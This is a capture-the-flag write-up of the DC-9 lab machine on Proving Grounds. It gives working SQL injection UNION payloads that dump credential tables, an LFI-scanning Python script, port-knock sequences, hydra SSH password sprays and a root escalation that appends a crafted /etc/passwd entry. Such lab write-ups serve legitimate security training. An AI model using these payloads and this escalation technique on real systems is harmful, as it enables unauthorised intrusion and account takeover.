# DC-9 Writeup - Proving Grounds

> SQL injection reveals creds, port knocking opens SSH, password spraying via knockd leads to root through sudo abuse on a Linux target.

- **URL:** https://hackindex.io/writeups/dc-9
- **Platform:** Proving Grounds
- **Difficulty:** Medium
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/dc-9-39643/overview
- **Tags:** sql-injection, lfi, reverse-engineering, privilege-escalation, sudo-misconfiguration, password-cracking
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 5 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Discovery

Only port 80 is open. Apache 2.4.38 on Debian serves a staff directory application. No UDP ports respond.

**TCP port scan**

```bash
scan_tcp_full $TARGET_IP
# [+] Discovering all open TCP ports...
# PORT   STATE SERVICE
# 80/tcp open  http
#
# [+] Running scripts & versions on TCP ports: 80
# PORT   STATE SERVICE VERSION
# 80/tcp open  http    Apache httpd 2.4.38 ((Debian))
# |_http-title: Example.com - Staff Details - Welcome
```

Directory enumeration stays shallow ,  only `/css` and `/includes` show up alongside `index.php`. Nikto flags `/config.php` as potentially exposing database credentials and notes directory listing is enabled on `/includes`. The application itself has a search form at `results.php` and an add-record form.

**Directory enumeration**

```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://$TARGET_IP/FUZZ -mc 200,204,301,302,307,401 -recursion -recursion-depth 5
# css          [Status: 301]
# includes     [Status: 301]
# index.php    [Status: 200]
```

## Enumeration

### SQL Injection ,  Staff Search

The search form at `results.php` is injectable. A basic OR payload confirms blind string injection, and a UNION-based approach works to extract data. The column count is six, with output landing in the first position.

Identify the MariaDB version and current databases first:

```
Moe' UNION SELECT @@version,NULL,NULL,NULL,NULL,NULL -- -
```

```
ID: 10.3.17-MariaDB-0+deb10u1
Name:
Position:
Phone No:
Email:
```

Enumerate tables across all schemas ,  not just the current database:

```
Moe' UNION SELECT table_schema,table_name,NULL,NULL,NULL,NULL FROM information_schema.tables -- -
```

```
ID: Staff
Name: StaffDetails

ID: Staff
Name: Users

ID: users
Name: UserDetails
```

Two databases: `Staff` and `users`. The `Staff.Users` table holds the web app login. `users.UserDetails` holds system-level credentials.

Dump `Staff.Users`:

```
Moe' UNION SELECT UserID,Username,Password,NULL,NULL,NULL FROM Users -- -
```

```
ID: 1
Name: admin 856f5de590ef37314e7c3bdf6f8a66dc
```

The MD5 hash cracks instantly via CrackStation: `$ADMIN_PASSWORD`. This gets admin access to the web panel but is not directly useful for a shell since SSH is blocked.

Dump `users.UserDetails` for all system accounts:

```
Moe' UNION SELECT username,password,NULL,NULL,NULL,NULL FROM users.UserDetails -- -
```

```
ID: marym       Name: $MARYM_PASSWORD
ID: julied      Name: $JULIED_PASSWORD
ID: fredf       Name: $FREDF_PASSWORD
ID: barneyr     Name: $BARNEYR_PASSWORD
ID: tomc        Name: $TOMC_PASSWORD
ID: jerrym      Name: $JERRYM_PASSWORD
ID: wilmaf      Name: $WILMAF_PASSWORD
ID: bettyr      Name: $BETTYR_PASSWORD
ID: chandlerb   Name: $CHANDLERB_PASSWORD
ID: joeyt       Name: $JOEYT_PASSWORD
ID: rachelg     Name: $RACHELG_PASSWORD
ID: rossg       Name: $ROSSG_PASSWORD
ID: monicag     Name: $MONICAG_PASSWORD
ID: phoebeb     Name: $PHOEBEB_PASSWORD
ID: scoots      Name: $SCOOTS_PASSWORD
ID: janitor     Name: $JANITOR_PASSWORD
ID: janitor2    Name: $JANITOR2_PASSWORD
```

### Local File Inclusion ,  Port Knock Discovery

Port 22 is filtered. The admin panel at `addrecord.php` shows a *File does not exist* error when the page loads without a parameter. Fuzzing for the parameter name reveals `file`, which reads arbitrary files from disk.

**Find LFI parameter**

```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -u http://$TARGET_IP/addrecord.php?FUZZ=../../../../../etc/passwd \
  -mc 200 -b 'PHPSESSID=<session>' -fs 1757
# file   [Status: 200, Size: 4110]
```

Reading `/etc/passwd` via the LFI confirms 17 home directories with bash shells. SSH is running on port 22 (confirmed via `/proc/net/tcp`) but something is blocking access. Enumerating running processes through `/proc/[pid]/cmdline` using a loop script reveals the answer:

```python
import requests
import re

pattern = r"File does not exist<br />(.*?)\s*</div>"

session = requests.Session()
BASE = "http://192.168.222.209/addrecord.php"
COOKIE = {'PHPSESSID': '<session>'}

def lfi_read(path):
    r = session.get(f"{BASE}?file={path}", cookies=COOKIE)
    match = re.search(pattern, r.text)
    if match:
        return match.group(1).strip()
    return None

for pid in range(1, 10000):
    cmdline = lfi_read(f"../../../../../../proc/{pid}/cmdline")
    if not cmdline or cmdline.startswith("</"):
        continue
    cmdline = cmdline.replace("\x00", " ").strip()
    print(f"[+] PID {pid}: {cmdline}")
```

One process stands out: `/usr/sbin/knockd -i eth0`. Reading `/etc/knockd.conf` via LFI reveals the port knock sequence to open SSH:

```
[openSSH]
	sequence    = 7469,8475,9842
	seq_timeout = 25
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

[closeSSH]
	sequence    = 9842,8475,7469
	seq_timeout = 25
	command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn
```

Send the knock sequence and verify port 22 opens:

**Port knock to open SSH**

```bash
knock $TARGET_IP 7469 8475 9842
nmap -p 22 $TARGET_IP
# PORT   STATE SERVICE
# 22/tcp open  ssh
```

## Initial Access

Spray the credentials from `users.UserDetails` against SSH. Three accounts get in:

**SSH credential spray**

```bash
hydra -L users.txt -P passwords.txt -e nsr ssh://$TARGET_IP -t 10
# [22][ssh] host: 192.168.222.209   login: chandlerb   password: $CHANDLERB_PASSWORD
# [22][ssh] host: 192.168.222.209   login: joeyt       password: $JOEYT_PASSWORD
# [22][ssh] host: 192.168.222.209   login: janitor     password: $JANITOR_PASSWORD
```

Log in as **janitor** and look around. A hidden directory `.secrets-for-putin` in the home folder contains a file with additional plaintext passwords not in the original database dump.

**Janitor home directory**

```bash
cat ~/.secrets-for-putin/passwords-found-on-post-it-notes.txt
# BamBam01
# Passw0rd
# smellycats
# P0Lic#10-4
# B4-Tru3-001
# 4uGU5T-NiGHts
```

Spray these new passwords against all users. The knock sequence needs to be resent before each Hydra run since the iptables rule is per-source-IP.

**Second credential spray with post-it passwords**

```bash
knock $TARGET_IP 7469 8475 9842
hydra -L users.txt -P passwords2.txt -e nsr ssh://$TARGET_IP -t 4
# [22][ssh] host: 192.168.222.209   login: fredf   password: $FREDF_PASSWORD
# [22][ssh] host: 192.168.222.209   login: joeyt   password: $JOEYT_PASSWORD
```

## Privilege Escalation

Log in as **fredf** and check sudo rights:

**Check sudo permissions**

```bash
sudo -l
# User fredf may run the following commands on dc-9:
#     (root) NOPASSWD: /opt/devstuff/dist/test/test
```

The binary is a PyInstaller-packaged Python script. Copy it locally, extract with `pyinstxtractor`, and decompile the bytecode with `uncompyle6` to read the source:

**Extract and decompile the binary**

```bash
scp fredf@$TARGET_IP:/opt/devstuff/dist/test/test ./
pyinstxtractor test
uncompyle6 test_extracted/test.pyc
# import sys
# if len(sys.argv) != 3:
#     print('Usage: python test.py read append')
#     sys.exit(1)
# else:
#     f = open(sys.argv[1], 'r')
#     output = f.read()
#     f = open(sys.argv[2], 'a')
#     f.write(output)
#     f.close()
```

The binary reads a file and appends its contents to a second file ,  running as root via sudo. This is an arbitrary file append as root. The straightforward escalation is to append a new root-level user to `/etc/passwd`.

Generate a password hash and craft the passwd entry:

**Generate passwd entry**

```bash
openssl passwd -1 -salt xyz hacked
# $1$xyz$WoJnHXXscB1sOcMi3CSGl/
```

**Write and append malicious passwd entry**

```bash
echo 'r00t:$1$xyz$WoJnHXXscB1sOcMi3CSGl/:0:0:root:/root:/bin/bash' > /tmp/evil
sudo /opt/devstuff/dist/test/test /tmp/evil /etc/passwd
```

Switch to the newly added root account:

**Switch to root**

```bash
su r00t
# Password:
# root@dc-9:/home/fredf#
```

Root shell obtained.

Related

## References

- [PortSwigger — SQL Injection UNION Attacks](https://portswigger.net/web-security/sql-injection/union-attacks) - Methodology for determining column count and extracting data via UNION-based SQLi
- [knock — Port Knocking Client](https://github.com/jvinet/knock) - Port knocking client used to trigger iptables rules via knockd
- [pyinstxtractor — PyInstaller Extractor](https://github.com/extremecoders-re/pyinstxtractor) - Extracts PyInstaller-packaged executables back to .pyc files
- [uncompyle6 — Python Bytecode Decompiler](https://github.com/rocky/python-uncompyle6) - Decompiles Python .pyc bytecode back to readable source
- [knockd — Port-Knock Server](https://linux.die.net/man/1/knockd) - knockd daemon reference — sequence, timeout, and command configuration
